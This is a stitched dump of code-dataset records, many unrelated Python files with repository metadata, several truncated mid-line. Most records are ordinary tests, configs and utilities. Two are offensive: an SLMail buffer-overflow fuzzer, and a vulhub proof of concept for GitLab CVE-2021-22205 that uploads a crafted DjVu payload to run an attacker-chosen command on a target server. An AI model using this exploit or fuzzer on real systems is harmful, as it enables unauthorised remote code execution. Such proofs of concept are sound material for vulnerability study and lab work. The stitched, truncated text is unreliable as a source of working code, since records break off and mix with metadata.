] | 2 | 2018-06-30T03:21:30.000Z | 2020-03-22T02:31:02.000Z | application/scripts/3Slmailfuzzer.py | cys3c/viper-shell | e05a07362b7d1e6d73c302a24d2506846e43502c | [
"PSF-2.0",
"BSD-2-Clause"
] | null | null | null | application/scripts/3Slmailfuzzer.py | cys3c/viper-shell | e05a07362b7d1e6d73c302a24d2506846e43502c | [
"PSF-2.0",
"BSD-2-Clause"
] | 3 | 2017-11-15T11:08:20.000Z | 2020-03-22T02:31:03.000Z | #!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#buffer = 'A' * 2700
buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6A... | 171.5 | 2,711 | 0.949789 | 60 | 3,087 | 48.833333 | 0.65 | 0.008191 | 0.006143 | 0.008874 | 0.012287 | 0.012287 | 0 | 0 | 0 | 0 | 0 | 0.306848 | 0.025591 | 3,087 | 17 | 2,712 | 181.588235 | 0.667221 | 0.011338 | 0 | 0.153846 | 0 | 0 | 0.916066 | 0.885246 | 0 | 1 | 0 | 0 | 0 | 0 | null | null | 0.076923 | 0.076923 | null | null | 0.230769 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | null | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 9 |
539a21d3c4b2014e9b4ca2d9ba47360d77824b92 | 5,861 | py | Python | tests/api/test_alias_options.py | itsmechlark/simple-login-app | 0121806301493615c052bfe6b254abc780824a99 | [
"MIT"
] | 1 | 2020-11-21T11:18:21.000Z | 2020-11-21T11:18:21.000Z | tests/api/test_alias_options.py | GanpatiRathia/app | f274bac053ce56fbbad0d87d0e57fec4eaae90ac | [
"MIT"
] | 1 | 2021-02-08T21:04:06.000Z | 2021-02-08T21:04:06.000Z | tests/api/test_alias_options.py | itsmechlark/simple-login-app | 0121806301493615c052bfe6b254abc780824a99 | [
"MIT"
] | null | null | null | from flask import url_for
from app.extensions import db
from app.models import User, ApiKey, AliasUsedOn, Alias
def test_different_scenarios(flask_client):
user = User.create(
email="a@b.c", password="password", name="Test User", activated=True
)
db.session.commit()
# create api_key
api_... | 30.21134 | 128 | 0.625661 | 738 | 5,861 | 4.823848 | 0.100271 | 0.05309 | 0.071067 | 0.080899 | 0.893539 | 0.878371 | 0.872753 | 0.858146 | 0.858146 | 0.858146 | 0 | 0.005794 | 0.204914 | 5,861 | 193 | 129 | 30.367876 | 0.758155 | 0.1266 | 0 | 0.713178 | 0 | 0 | 0.211705 | 0 | 0 | 0 | 0 | 0 | 0.24031 | 1 | 0.031008 | false | 0.031008 | 0.023256 | 0 | 0.054264 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
539b21f72814c2bddd69a3b1f979ce7d8fb22d71 | 3,864 | py | Python | closed/HPE/configs/ssd-resnet34/Server/__init__.py | ctuning/inference_results_v1.1 | d9176eca28fcf6d7a05ccb97994362a76a1eb5ab | [
"Apache-2.0"
] | 12 | 2021-09-23T08:05:57.000Z | 2022-03-21T03:52:11.000Z | closed/HPE/configs/ssd-resnet34/Server/__init__.py | ctuning/inference_results_v1.1 | d9176eca28fcf6d7a05ccb97994362a76a1eb5ab | [
"Apache-2.0"
] | 11 | 2021-09-23T20:34:06.000Z | 2022-01-22T07:58:02.000Z | closed/HPE/configs/ssd-resnet34/Server/__init__.py | ctuning/inference_results_v1.1 | d9176eca28fcf6d7a05ccb97994362a76a1eb5ab | [
"Apache-2.0"
] | 16 | 2021-09-23T20:26:38.000Z | 2022-03-09T12:59:56.000Z | # Copyright (c) 2021, NVIDIA CORPORATION. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by appli... | 34.5 | 84 | 0.744306 | 509 | 3,864 | 5.388998 | 0.302554 | 0.020416 | 0.048122 | 0.042289 | 0.756836 | 0.756836 | 0.756836 | 0.756836 | 0.756836 | 0.743711 | 0 | 0.05374 | 0.176501 | 3,864 | 111 | 85 | 34.810811 | 0.808297 | 0.15088 | 0 | 0.840909 | 0 | 0 | 0.139578 | 0.10652 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.056818 | 0 | 0.943182 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 7 |
54faac912efb01f8259261196f20175f466d2d0c | 5,938 | py | Python | tests/functional/test_import_data/config_generator_positive.py | arenadata/adcm | a499caa30adc2a53e7b3f46c96a865f9e4079e4e | [
"Apache-2.0"
] | 16 | 2019-11-28T18:05:21.000Z | 2021-12-08T18:09:18.000Z | tests/functional/test_import_data/config_generator_positive.py | arenadata/adcm | a499caa30adc2a53e7b3f46c96a865f9e4079e4e | [
"Apache-2.0"
] | 1,127 | 2019-11-29T08:57:25.000Z | 2022-03-31T20:21:32.000Z | tests/functional/test_import_data/config_generator_positive.py | arenadata/adcm | a499caa30adc2a53e7b3f46c96a865f9e4079e4e | [
"Apache-2.0"
] | 10 | 2019-11-28T18:05:06.000Z | 2022-01-13T06:16:40.000Z | import os
VARIABLES = [
("2.2", "3.0", 'max', 'min', "2.5"),
("2.2", "3.0", 'max', 'min_strict', "3.0"),
("2.2", "3.0", 'max_strict', 'min_strict', "2.5"),
("2.2", "3.0", 'max_strict', 'min', "2.2"),
]
TEMPLATE_EXPORT_CLUSTER = """
# Licensed under the Apache License, Version 2.0 (the "License");
# y... | 25.594828 | 92 | 0.610475 | 787 | 5,938 | 4.540025 | 0.138501 | 0.06717 | 0.029107 | 0.035824 | 0.936468 | 0.930031 | 0.9096 | 0.881892 | 0.881892 | 0.881892 | 0 | 0.025532 | 0.287639 | 5,938 | 231 | 93 | 25.705628 | 0.819149 | 0 | 0 | 0.822967 | 0 | 0 | 0.819468 | 0.032334 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.052632 | 0 | 0.052632 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
0710e6b1764f62c6d5ea80b58293c14afbb04d14 | 16,144 | py | Python | azure-mgmt-batchai/tests/test_mgmt_batchai_jobs.py | v-Ajnava/azure-sdk-for-python | a1f6f80eb5869c5b710e8bfb66146546697e2a6f | [
"MIT"
] | 4 | 2016-06-17T23:25:29.000Z | 2022-03-30T22:37:45.000Z | azure-mgmt-batchai/tests/test_mgmt_batchai_jobs.py | v-Ajnava/azure-sdk-for-python | a1f6f80eb5869c5b710e8bfb66146546697e2a6f | [
"MIT"
] | 2 | 2016-09-30T21:40:24.000Z | 2017-11-10T18:16:18.000Z | azure-mgmt-batchai/tests/test_mgmt_batchai_jobs.py | v-Ajnava/azure-sdk-for-python | a1f6f80eb5869c5b710e8bfb66146546697e2a6f | [
"MIT"
] | 3 | 2016-05-03T20:49:46.000Z | 2017-10-05T21:05:27.000Z | # coding: utf-8
# -------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for
# license information.
# --------------------------------------------------------------------... | 61.854406 | 119 | 0.663404 | 1,838 | 16,144 | 5.651251 | 0.102285 | 0.092616 | 0.101473 | 0.096274 | 0.893617 | 0.892462 | 0.892462 | 0.881968 | 0.881968 | 0.872437 | 0 | 0.004151 | 0.224046 | 16,144 | 260 | 120 | 62.092308 | 0.825018 | 0.090374 | 0 | 0.80198 | 0 | 0.009901 | 0.061062 | 0.01465 | 0 | 0 | 0 | 0 | 0.19802 | 1 | 0.064356 | false | 0.009901 | 0.034653 | 0 | 0.10396 | 0.004951 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
07280c2f21807e863415e49414e2bf8f0d3efcdd | 8,485 | py | Python | analyses/analyse_text_info.py | Ipuch/OnDynamicsForSommersaults | 8c60eb13b2650694212d5c8ca679894bb12c4611 | [
"MIT"
] | null | null | null | analyses/analyse_text_info.py | Ipuch/OnDynamicsForSommersaults | 8c60eb13b2650694212d5c8ca679894bb12c4611 | [
"MIT"
] | null | null | null | analyses/analyse_text_info.py | Ipuch/OnDynamicsForSommersaults | 8c60eb13b2650694212d5c8ca679894bb12c4611 | [
"MIT"
] | 1 | 2022-01-11T19:20:38.000Z | 2022-01-11T19:20:38.000Z | """
This script is used to print out information about the main results comparing the different dynamics.
It requires the dataframe of all results to run the script.
"""
import pandas as pd
df_results = pd.read_pickle("Dataframe_results_metrics_5.pkl")
# Did everything converged ?
a = len(df_results[df_results["statu... | 58.116438 | 128 | 0.682145 | 1,336 | 8,485 | 4.028443 | 0.099551 | 0.170569 | 0.151617 | 0.183389 | 0.863991 | 0.847454 | 0.819584 | 0.79097 | 0.777778 | 0.740988 | 0 | 0.016791 | 0.129641 | 8,485 | 145 | 129 | 58.517241 | 0.711984 | 0.038774 | 0 | 0.282258 | 0 | 0.056452 | 0.435696 | 0.032428 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.008065 | 0 | 0.008065 | 0.306452 | 0 | 0 | 0 | null | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
ab12c5b54bd63c899fff44be60b86ef9c42461f7 | 3,325 | py | Python | gitlab/CVE-2021-22205/poc.py | arniebilloo/vulhub | e5c1b204a6bf1e27d654569ec963329486f230e6 | [
"MIT"
] | 421 | 2021-12-07T08:46:40.000Z | 2022-03-31T12:42:16.000Z | gitlab/CVE-2021-22205/poc.py | starkxun/vulhub | e5c1b204a6bf1e27d654569ec963329486f230e6 | [
"MIT"
] | 1 | 2022-03-14T06:07:39.000Z | 2022-03-14T15:52:22.000Z | gitlab/CVE-2021-22205/poc.py | starkxun/vulhub | e5c1b204a6bf1e27d654569ec963329486f230e6 | [
"MIT"
] | 144 | 2021-12-07T11:06:14.000Z | 2022-03-31T07:41:35.000Z | import sys
import re
import requests
target = sys.argv[1]
command = sys.argv[2]
session = requests.session()
CSRF_PATTERN = re.compile(rb'csrf-token" content="(.*?)" />')
prepend = b'\x41\x54\x26\x54\x46\x4F\x52\x4D\x00\x00\x03\xAF\x44\x4A\x56\x4D\x44\x49\x52\x4D\x00\x00\x00\x2E\x81\x00\x02\x00\x00\x00\x46\x00\x00\x0... | 110.833333 | 1,756 | 0.730226 | 753 | 3,325 | 3.207171 | 0.199203 | 1.043478 | 1.561491 | 2.077019 | 0.583851 | 0.576398 | 0.568944 | 0.542857 | 0.522981 | 0.522981 | 0 | 0.385141 | 0.032481 | 3,325 | 29 | 1,757 | 114.655172 | 0.365558 | 0 | 0 | 0 | 0 | 0.1 | 0.839399 | 0.806917 | 0 | 1 | 0 | 0 | 0.05 | 1 | 0.1 | false | 0 | 0.15 | 0 | 0.3 | 0.05 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 10 |
db4dc40da743e3db93069f1b18c7cc77395376a5 | 54,821 | py | Python | symphony/bdk/gen/agent_api/messages_api.py | symphony-elias/symphony-bdk-python | 0d1cd94a9982e3687ea52c49acdb5f942ecd9bec | [
"Apache-2.0"
] | 17 | 2018-09-06T09:58:18.000Z | 2021-07-13T12:54:20.000Z | symphony/bdk/gen/agent_api/messages_api.py | symphony-elias/symphony-bdk-python | 0d1cd94a9982e3687ea52c49acdb5f942ecd9bec | [
"Apache-2.0"
] | 59 | 2018-11-21T15:17:57.000Z | 2021-08-03T10:00:43.000Z | symphony/bdk/gen/agent_api/messages_api.py | symphony-elias/symphony-bdk-python | 0d1cd94a9982e3687ea52c49acdb5f942ecd9bec | [
"Apache-2.0"
] | 37 | 2018-09-01T03:07:48.000Z | 2021-07-06T10:21:50.000Z | """
Agent API
This document refers to Symphony API calls to send and receive messages and content. They need the on-premise Agent installed to perform decryption/encryption of content. - sessionToken and keyManagerToken can be obtained by calling the authenticationAPI on the symphony back end and the key mana... | 42.365533 | 1,241 | 0.484413 | 4,993 | 54,821 | 5.107751 | 0.094532 | 0.037643 | 0.038231 | 0.025095 | 0.822452 | 0.809238 | 0.78677 | 0.76889 | 0.759048 | 0.730581 | 0 | 0.005988 | 0.433392 | 54,821 | 1,293 | 1,242 | 42.398299 | 0.815047 | 0.381113 | 0 | 0.729759 | 0 | 0 | 0.222222 | 0.026255 | 0 | 0 | 0 | 0 | 0 | 1 | 0.009847 | false | 0 | 0.019694 | 0 | 0.039387 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
db52f9ac51efe466327bc4f01d5813812eb53145 | 309 | py | Python | graphgallery/transforms/tensor_transform/__init__.py | Sharpiless/GraphGallery | 5e8895cc2ca2fc06a31bfc58bc3b7a52e1ceddd0 | [
"MIT"
] | 1 | 2020-11-22T10:14:58.000Z | 2020-11-22T10:14:58.000Z | graphgallery/transforms/tensor_transform/__init__.py | Sharpiless/GraphGallery | 5e8895cc2ca2fc06a31bfc58bc3b7a52e1ceddd0 | [
"MIT"
] | null | null | null | graphgallery/transforms/tensor_transform/__init__.py | Sharpiless/GraphGallery | 5e8895cc2ca2fc06a31bfc58bc3b7a52e1ceddd0 | [
"MIT"
] | 1 | 2020-11-22T10:14:59.000Z | 2020-11-22T10:14:59.000Z | from graphgallery import backend
from graphgallery.transforms.tensor_transform.tensor2tensor import tensor2tensor
from graphgallery.transforms.tensor_transform.astensor import *
from graphgallery.transforms.tensor_transform import tf_tensor
from graphgallery.transforms.tensor_transform import th_tensor
| 51.5 | 81 | 0.883495 | 35 | 309 | 7.628571 | 0.314286 | 0.299625 | 0.389513 | 0.479401 | 0.659176 | 0.35206 | 0 | 0 | 0 | 0 | 0 | 0.007042 | 0.080906 | 309 | 5 | 82 | 61.8 | 0.933099 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
db6028d5283d25f1592f1125a46c95d06ce4c3bf | 31,853 | py | Python | plugins/rapid7_insightvm/komand_rapid7_insightvm/actions/get_vulnerabilities_by_cve/schema.py | lukaszlaszuk/insightconnect-plugins | 8c6ce323bfbb12c55f8b5a9c08975d25eb9f8892 | [
"MIT"
] | 46 | 2019-06-05T20:47:58.000Z | 2022-03-29T10:18:01.000Z | plugins/rapid7_insightvm/komand_rapid7_insightvm/actions/get_vulnerabilities_by_cve/schema.py | lukaszlaszuk/insightconnect-plugins | 8c6ce323bfbb12c55f8b5a9c08975d25eb9f8892 | [
"MIT"
] | 386 | 2019-06-07T20:20:39.000Z | 2022-03-30T17:35:01.000Z | plugins/rapid7_insightvm/komand_rapid7_insightvm/actions/get_vulnerabilities_by_cve/schema.py | lukaszlaszuk/insightconnect-plugins | 8c6ce323bfbb12c55f8b5a9c08975d25eb9f8892 | [
"MIT"
] | 43 | 2019-07-09T14:13:58.000Z | 2022-03-28T12:04:46.000Z | # GENERATED BY KOMAND SDK - DO NOT EDIT
import komand
import json
class Component:
DESCRIPTION = "Get vulnerability details associated with a CVE"
class Input:
CVE_ID = "cve_id"
class Output:
VULNERABILITIES = "vulnerabilities"
class GetVulnerabilitiesByCveInput(komand.Input):
schema = j... | 31.663022 | 148 | 0.425643 | 2,129 | 31,853 | 6.343354 | 0.086895 | 0.065902 | 0.096631 | 0.014069 | 0.859163 | 0.855017 | 0.855017 | 0.84776 | 0.840504 | 0.840504 | 0 | 0.018657 | 0.434622 | 31,853 | 1,005 | 149 | 31.694527 | 0.731245 | 0.001162 | 0 | 0.731855 | 1 | 0.008065 | 0.984818 | 0.036713 | 0 | 0 | 0 | 0 | 0 | 1 | 0.002016 | false | 0 | 0.002016 | 0 | 0.014113 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 9 |
db7473d36bcf6295f4ab8356805e13abdd48c7c9 | 92 | py | Python | scripts/import_templates.py | drewstinnett/maymays | 324c157f2b3a4bcf4f3ee4e32976bb47605a9dca | [
"BSD-2-Clause"
] | null | null | null | scripts/import_templates.py | drewstinnett/maymays | 324c157f2b3a4bcf4f3ee4e32976bb47605a9dca | [
"BSD-2-Clause"
] | null | null | null | scripts/import_templates.py | drewstinnett/maymays | 324c157f2b3a4bcf4f3ee4e32976bb47605a9dca | [
"BSD-2-Clause"
] | null | null | null | from memes.helpers import import_memes
def run():
print("Running")
import_memes()
| 13.142857 | 38 | 0.695652 | 12 | 92 | 5.166667 | 0.666667 | 0.354839 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.195652 | 92 | 6 | 39 | 15.333333 | 0.837838 | 0 | 0 | 0 | 0 | 0 | 0.076087 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | true | 0 | 0.5 | 0 | 0.75 | 0.25 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
db75c5bf1c7cef35e909b3d872735272aabd1c38 | 5,982 | py | Python | fonts/m32_8x14.py | ccccmagicboy/st7735_mpy | b15f1bde69fbe6e0eb4931c57e71c136d8e7f024 | [
"MIT"
] | 6 | 2020-07-11T16:59:19.000Z | 2021-07-16T19:32:49.000Z | ports/esp32/user_modules/st7735_mpy/fonts/m32_8x14.py | d4niele/micropython | a1f7b37d392bf46b28045ce215ae899fda8d8c38 | [
"MIT"
] | 1 | 2020-04-14T03:14:45.000Z | 2020-04-14T03:14:45.000Z | fonts/m32_8x14.py | ccccmagicboy/st7735_mpy | b15f1bde69fbe6e0eb4931c57e71c136d8e7f024 | [
"MIT"
] | null | null | null | """converted from ..\fonts\M32_8x14.bin """
WIDTH = 8
HEIGHT = 14
FIRST = 0x20
LAST = 0x7f
_FONT =\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x18\x3c\x3c\x3c\x18\x18\x00\x18\x18\x00\x00\x00'\
b'\x00\x36\x36\x36\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x6c\x6c\x6c\xfe\x6c\x6c\xf... | 56.971429 | 60 | 0.704112 | 1,458 | 5,982 | 2.886831 | 0.041838 | 0.59444 | 0.504633 | 0.342124 | 0.841055 | 0.77952 | 0.73034 | 0.648848 | 0.570444 | 0.49608 | 0 | 0.374659 | 0.019726 | 5,982 | 104 | 61 | 57.519231 | 0.343111 | 0.005851 | 0 | 0 | 0 | 0.941176 | 0.905203 | 0.905203 | 0 | 1 | 0.001347 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 12 |
db77973a39d3606e6fa621268ac90f214a0ff2cb | 16,948 | py | Python | src/dewloosh/geom/cells/h27.py | dewloosh/dewloosh-geom | 5c97fbab4b68f4748bf4309184b9e0e877f94cd6 | [
"MIT"
] | 2 | 2021-12-11T17:25:51.000Z | 2022-01-06T15:36:27.000Z | src/dewloosh/geom/cells/h27.py | dewloosh/dewloosh-geom | 5c97fbab4b68f4748bf4309184b9e0e877f94cd6 | [
"MIT"
] | null | null | null | src/dewloosh/geom/cells/h27.py | dewloosh/dewloosh-geom | 5c97fbab4b68f4748bf4309184b9e0e877f94cd6 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
from dewloosh.geom.polyhedron import TriquadraticHexaHedron
from dewloosh.math.numint import GaussPoints as Gauss
from dewloosh.geom.utils import cells_coords
from numba import njit, prange
import numpy as np
from numpy import ndarray
__cache = True
@njit(nogil=True, cache=__cache)
def monoms_... | 51.828746 | 79 | 0.387656 | 4,690 | 16,948 | 1.392964 | 0.02516 | 0.102862 | 0.118935 | 0.072861 | 0.814786 | 0.801776 | 0.77407 | 0.76657 | 0.7531 | 0.748967 | 0 | 0.256666 | 0.267583 | 16,948 | 326 | 80 | 51.98773 | 0.269637 | 0.014987 | 0 | 0.219858 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.035461 | false | 0 | 0.021277 | 0.007092 | 0.099291 | 0 | 0 | 0 | 1 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 9 |
db7ad8d065ccfcdf01d0e72a9074476aee53011d | 12,395 | py | Python | peon/tests/test_project/test_file/test_function_def/test_expressions/test_returned_expr.py | roch1990/peon | 0e9e40956c05138c0820fe380b354fdd1fe95e01 | [
"MIT"
] | 32 | 2020-05-18T14:02:59.000Z | 2022-02-06T15:00:12.000Z | peon/tests/test_project/test_file/test_function_def/test_expressions/test_returned_expr.py | roch1990/peon | 0e9e40956c05138c0820fe380b354fdd1fe95e01 | [
"MIT"
] | 42 | 2020-05-22T20:29:08.000Z | 2021-03-10T21:24:23.000Z | peon/tests/test_project/test_file/test_function_def/test_expressions/test_returned_expr.py | roch1990/peon | 0e9e40956c05138c0820fe380b354fdd1fe95e01 | [
"MIT"
] | 4 | 2020-07-02T06:32:42.000Z | 2022-01-24T22:46:02.000Z | import _ast
import sys
import pytest
from peon.src.project.file.function_def.expression.returned_expr import ReturnedExpression
@pytest.mark.skipif(sys.version_info > (3, 7), reason='test marked as for older pythen version (<3.8)')
def test_return_value_is_func():
assert ReturnedExpression(
_ast.Return(... | 37 | 123 | 0.613231 | 1,619 | 12,395 | 4.463249 | 0.058678 | 0.091337 | 0.123305 | 0.150706 | 0.937586 | 0.923194 | 0.897592 | 0.84708 | 0.826875 | 0.758926 | 0 | 0.023881 | 0.243243 | 12,395 | 334 | 124 | 37.110778 | 0.746482 | 0.062767 | 0 | 0.730924 | 0 | 0 | 0.12253 | 0 | 0 | 0 | 0 | 0 | 0.13253 | 1 | 0.11245 | true | 0.008032 | 0.016064 | 0 | 0.128514 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
db88b060b33d3569dae91b802a9af593f466df5b | 20,257 | py | Python | mlapp/mlapp_cli/common/model_rename_dictionary.py | nbk905/mlapp | af650a8a302959674dd5a1bc6d15e30e90abf227 | [
"Apache-2.0"
] | null | null | null | mlapp/mlapp_cli/common/model_rename_dictionary.py | nbk905/mlapp | af650a8a302959674dd5a1bc6d15e30e90abf227 | [
"Apache-2.0"
] | null | null | null | mlapp/mlapp_cli/common/model_rename_dictionary.py | nbk905/mlapp | af650a8a302959674dd5a1bc6d15e30e90abf227 | [
"Apache-2.0"
] | null | null | null | rename_dictionary = {
"base": {
# key -> file_name: value -> list of dictionaries of words to replace.
'_data_manager.py': {
"words": [{"word": 'DataManager', "word_format": 'str_capitalize', 'word_type': 'append-left'}]
},
'_model_manager.py': {
"words": [{"w... | 66.416393 | 114 | 0.469221 | 1,957 | 20,257 | 4.544711 | 0.029637 | 0.149764 | 0.172476 | 0.202384 | 0.983472 | 0.981785 | 0.981785 | 0.981785 | 0.981785 | 0.981336 | 0 | 0 | 0.297477 | 20,257 | 304 | 115 | 66.634868 | 0.624974 | 0.003357 | 0 | 0.79538 | 0 | 0 | 0.455343 | 0.016843 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
dbc06fda4e8ec6de8f5b6814f726ad3044a4855c | 3,068 | py | Python | tests/estimator/classifier/EmbeddedData.py | mathewdgardner/sklearn-porter | d8927a6af06e96dd416be759321e93691c39cf73 | [
"MIT"
] | 1 | 2022-02-15T12:44:37.000Z | 2022-02-15T12:44:37.000Z | tests/estimator/classifier/EmbeddedData.py | Stardustsky/sklearn-porter | d8927a6af06e96dd416be759321e93691c39cf73 | [
"MIT"
] | null | null | null | tests/estimator/classifier/EmbeddedData.py | Stardustsky/sklearn-porter | d8927a6af06e96dd416be759321e93691c39cf73 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
import numpy as np
class EmbeddedData():
def test_random_features__binary_data__embedded(self):
self.load_binary_data()
self._port_estimator(embed_data=True)
amin = np.amin(self.X, axis=0)
amax = np.amax(self.X, axis=0)
shape = (self.N_RANDOM_FEATU... | 39.333333 | 62 | 0.651565 | 423 | 3,068 | 4.399527 | 0.132388 | 0.032241 | 0.048361 | 0.064481 | 0.966147 | 0.966147 | 0.966147 | 0.966147 | 0.966147 | 0.966147 | 0 | 0.002986 | 0.235984 | 3,068 | 78 | 63 | 39.333333 | 0.790956 | 0.042047 | 0 | 0.876923 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.092308 | 1 | 0.092308 | false | 0 | 0.015385 | 0 | 0.123077 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
91953a2991b05a6f97af82f07bc8f7f258b195e3 | 5,344 | py | Python | variants/migrations/0073_clearexpiredexportedfilesbgjob_clearinactivevariantsetsbgjob_clearoldkioskcasesbgjob_refreshsmallvar.py | brand-fabian/varfish-server | 6a084d891d676ff29355e72a29d4f7b207220283 | [
"MIT"
] | 14 | 2019-09-30T12:44:17.000Z | 2022-02-04T14:45:16.000Z | variants/migrations/0073_clearexpiredexportedfilesbgjob_clearinactivevariantsetsbgjob_clearoldkioskcasesbgjob_refreshsmallvar.py | brand-fabian/varfish-server | 6a084d891d676ff29355e72a29d4f7b207220283 | [
"MIT"
